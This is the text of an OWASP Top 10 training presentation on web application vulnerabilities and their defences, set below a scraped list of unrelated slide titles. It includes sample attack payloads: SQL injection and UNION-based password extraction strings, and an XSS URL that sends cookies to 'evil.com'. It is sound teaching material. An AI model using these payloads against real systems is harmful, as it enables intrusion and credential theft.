FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
 
Generating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using SmithyGenerating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using Smithy
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........
 
Leading Change strategies and insights for effective change management pdf 1.pdf
Leading Change strategies and insights for effective change management pdf 1.pdfLeading Change strategies and insights for effective change management pdf 1.pdf
Leading Change strategies and insights for effective change management pdf 1.pdf
 

OWASPTop 10

  • 1. What are they? Why do attackers use them? How can we protect against them? By: Ben Broussard
  • 2. Who is Ben Broussard?  Austin OWASP board member  Fearless leader of OWASP Study Group (free training!)  President of Kedalion Security, LLC.  Background:  BS in Mathematics from UT Austin (crypto)  Mainframe and web app programmer for UT  Web app security interest led to OWASP involvement  OWASP involvement led to Infosec career (Kedalion)  Gymnastics, AI, Braainnsss, Simulations, Kung Fu, Mathlete, Bboy, Foodie, and more!
  • 3. TOP 10 1. Injection 6. Security 2. Cross-Site Scripting Misconfiguration (XSS) 7. Insecure Cryptographic 3. Broken Authentication Storage and Session 8. Failure to Restrict URL Management Access 4. Insecure Direct Object 9. Insufficient Transport Reference Layer Protection 5. Cross-Site Request 10. Unvalidated Redirects Forgery (CSRF) and Forwards
  • 4. 1. Injection  SQL:  query = “SELECT * FROM table WHERE column = „“ + input + “‟;”  Attacker’s input: x‟ or „x‟=„x  Resulting query: SELECT * FROM table WHERE column = „x‟ or „x‟=„x‟;  Other types of injection include XML, Command, and anywhere untrusted input is placed in an eval-like statement.
  • 5. 1. Injection (cont.)  Why: These attacks inject code into the running program. What could the program do? That is what injected code can do.  How: Depends on the platform. Best solution is Parameterized Queries. Don’t treat data like code. Don’t put data in the equivalent of an eval statement.
  • 6. 2. Cross-Site Scripting  There are fewer flavors of jelly beans.  Reflected vs Persistent or Stored  Attack could be a link to be clicked on, or part of an open redirect, or any clever scheme the attacker dreams up:  Attack URL: www.example.com/search?query=<script>document .location = “evil.com?cookie=“ + document.cookie;</script>
  • 7. 2. Cross-Site Scripting (cont.)  Why: An attacker can steal cookies and masquerade as the victim, make the victim site look like anything, and take many actions that the victim can such as submitting forms.  How: Entity encoding. This is how a technical blog shows HTML code without the browser executing that code. ‘<‘ becomes ‘&lt;’ and the browser shows it as ‘<‘.
  • 8. 3. Broken Authentication and Session Management  This issue is common because it is difficult:  Highly technical involving cookie intricacies, the request-response model, the same-origin policy, cryptography and more  Attacks include session fixation, cookie generation or brute-forcing, direct browsing, forced logout/lockout, open redirects, cookie capture, CSRF, inadequate logout, password reset/account creation, user enumeration, and much more
  • 9. 3. Broken Authentication and Session Management (cont.)  Why: These attacks allow attackers to take actions as valid users and attack users directly.  How: This is hard. If possible use a standard library. If not, make sure you cover cryptographic cookie strength, a framework that covers all pages that require authentication, noncing, SSL, refreshing the cookie upon login, and pay special attention to account creation, password reset, logout/lockout, and re-login.
  • 10. 4. Insecure Direct Object Reference  www.example.com/cart.php?cartid=413  Change cartid=413 to cartid=412  Due to a lack of Authorization checking  Systemic of trusting the client  Surprisingly common and the easiest vulnerability to exploit
  • 11. 4. Insecure Direct Object Reference (cont.)  Why: An attacker can access other users’ sensitive data and often take actions as other users.  How: Implement proper Authentication and validate user input. This issue implies a lack of developer security training, as it is the most obvious vulnerability, and shows that the developer trusts the client to enforce user actions. Is there a hidden price field, too?
  • 12. 5. Cross-Site Request Forgery  This attack is complex to understand but simple to execute and extremely common.  Pieces:  Cookies are sent with every request to the domain they are set for. This is how login is maintained.  HTML pages cause your browser to make many requests: images, scripts, redirects, iframes, etc.  Your browser can be forced to send a request that takes an action to a domain you are logged into.
  • 13. 5. Cross-Site Request Forgery (cont.)  Why: Attackers can force logged in users to take actions: password update, funds transfer, grant privileges, update direct deposit info, anything  How: Make sure no XSS exists on domain or any subdomains. Implement a nonce system (tied to the user) on forms which take actions. This way, only requests that contain the nonce are valid. Stops an attacker from crafting a valid request to force your browser to make.
  • 14. 6. Security Misconfiguration  Examples include:  Default accounts  Lack of SSL  Enabled insecure features (php include, SSI)  Out of date patch levels (IIS 6 or below, old Tomcat)  Web server running as root with execution rights to upload directories  This is a very broad category
  • 15. 6. Security Misconfiguration (cont.)  Why: Often these lead to shell upload and complete compromise, but the vulnerability depends on the misconfigured functionality.  How: Procedures are the answer here. Have a review process for all implemented technologies and a patch process with quick turnover. This category is too broad for a good answer.
  • 16. 7. Insecure Cryptographic Storage  The number one issue here is lack of proper password storage. Plaintext passwords are the opposite of defense in depth.  SQL injection attack to get passwords:  x‟ UNION SELECT column_name, table_name, null, …, null FROM information_schema.columns WHERE column_name LIKE „%pass%‟;--  x‟ UNION SELECT passwd, null, …, null FROM user_details1;--
  • 17. 7. Insecure Cryptographic Storage (cont.)  Why: Sensitive data is an attacker’s goal. If they succeed at their goal of obtaining access, that doesn’t mean that have the data. If it isn’t properly encrypted, then it does.  How: Encrypt sensitive data. Enforce proper key management.
  • 18. 8. Failure to Restrict URL Access  This is really failure to validate Authorization on every page.  Most common for static pages which should require Authorization such as access to a blog, sensitive document, or downloadable materials.  Less common for dynamic pages, since user details need to be taken into account to create the dynamic page.
  • 19. 8. Failure to Restrict URL Access (cont.)  Why: Bypassing authorization allows an attacker to take actions or view data they wouldn’t otherwise be able to take. The value of these actions or data is the value of this attack.  How: Implement Authentication validation in a framework sort of way. Page-by-page makes it easy to leave pages out. Opt-out Authorization checking as opposed to opt-in.
  • 20. 9. Insufficient Transport Layer Protection  Lack of SSL  For request containing credentials  For request to get login page  For any page after login (session cookies, firesheep)  For any page containing authentication details (pre- login session cookie or cart id)  Any time sensitive data is being submitted (sometimes login isn’t required to submit a form, but SSL may be)  Other protocols too: SSH, SFTP, VPN, etc.
  • 21. 9. Insufficient Transport Layer Protection (cont.)  Why: Grabbing cookies allows an attacker to masquerade as a valid user. Grabbing data is pretty much the point.  How: Implement SSL everywhere it is needed, including pre-logon areas if there is a pre-logon session. Disable port 80 if possible. Make sure that cookies have the “Secure” flag on them.
  • 22. 10. Unvalidated Redirects and Forwards  Redirects are a necessity:  Login after session timeout  Many forms validate input and redirect to next step  Retired pages and sites redirect to the new location  If user input is used as the redirection location and can be any location on the Internet, then an attacker can:  Craft a better phishing attack (to deliver malware or gather credentials)  Bypass referer checking for CSRF attacks
  • 23. 10. Unvalidated Redirects and Forwards (cont.)  Why: Plausability: their fishing attacks contain links to trusted sites. Also, the site may accept requests that it forces users to make more readily.  How: Validate redirection locations. There is rarely cause for a fully dynamic redirect. Use POST requests for requests that take actions or change data (like W3C says to).
  • 24. Questions? 1. Injection 6. Security 2. Cross-Site Scripting Misconfiguration (XSS) 7. Insecure Cryptographic 3. Broken Authentication Storage and Session 8. Failure to Restrict URL Management Access 4. Insecure Direct Object 9. Insufficient Transport Reference Layer Protection 5. Cross-Site Request 10. Unvalidated Redirects Forgery (CSRF) and Forwards
  • 25. The only bull here is mechanical